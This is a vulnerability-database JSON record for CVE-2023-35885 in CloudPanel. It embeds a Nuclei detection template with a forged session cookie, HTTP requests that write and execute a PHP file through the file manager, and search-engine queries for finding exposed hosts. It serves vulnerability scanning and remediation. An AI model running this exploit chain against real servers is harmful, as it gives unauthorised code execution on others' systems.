{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-35885/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-35885/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-35885/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-35885/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-35885/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-35885"},"sightings":{"href":"/api/v1/sightings/cve-2023-35885"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-35885.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-35885\n\ninfo:\n  name: Cloudpanel 2 < 2.3.1 - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade Cloudpanel to version 2.3.1 or later to mitigate this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-35885\n    - https://www.datack.my/fallingskies-cloudpanel-0-day/\n    - https://github.com/datackmy/FallingSkies-CVE-2023-35885\n    - https://www.cloudpanel.io/docs/v2/changelog/\n    - https://github.com/Tropinene/Yscanner\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-35885\n    cwe-id: CWE-565\n    epss-score: 0.74888\n    epss-percentile: 0.99491\n    cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: mgt-commerce\n    product: cloudpanel\n    shodan-query:\n      - title:\"Cloudpanel\"\n      - http.title:\"cloudpanel\"\n      - http.favicon.hash:\"151132309\"\n    fofa-query:\n      - icon_hash=\"151132309\"\n      - title=\"cloudpanel\"\n    google-query: intitle:\"cloudpanel\"\n  tags: cve2023,cve,cloudpanel,rce,intrusive,mgt-commerce,fileupload,vkev,vuln\nvariables:\n  session: \"ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY=\"\n  str1: \"{{rand_base(10)}}\"\n  string: \"CVE-2023-35885\"\n\nhttp:\n  - raw:\n      - |\n        GET /file-manager/ HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: clp-fm={{session}}\n      - |\n        POST /file-manager/backend/makefile HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: clp-fm={{session}}\n        Content-Type: application/x-www-form-urlencoded\n\n        id=/htdocs/app/files/public/&name={{str1}}.php\n      - |\n        POST /file-manager/backend/text HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: clp-fm={{session}}\n        Content-Type: application/x-www-form-urlencoded\n\n        id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n      - |\n        POST /file-manager/backend/permissions HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: clp-fm={{session}}\n        Content-Type: application/x-www-form-urlencoded\n\n        id=/htdocs/app/files/public/{{str1}}.php&permissions=0777\n      - |\n        GET /{{str1}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body_5\n        words:\n          - '{{md5(string)}}'\n# digest: 490a0046304402205748bfc636e5b9ca75c0dcb7336bef3f43af3a1200854be77b75f7cc113562c002205d7df40db6be4b16987bd66370ddd5c02935b9938c093256c30ce67541145135:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-35885"}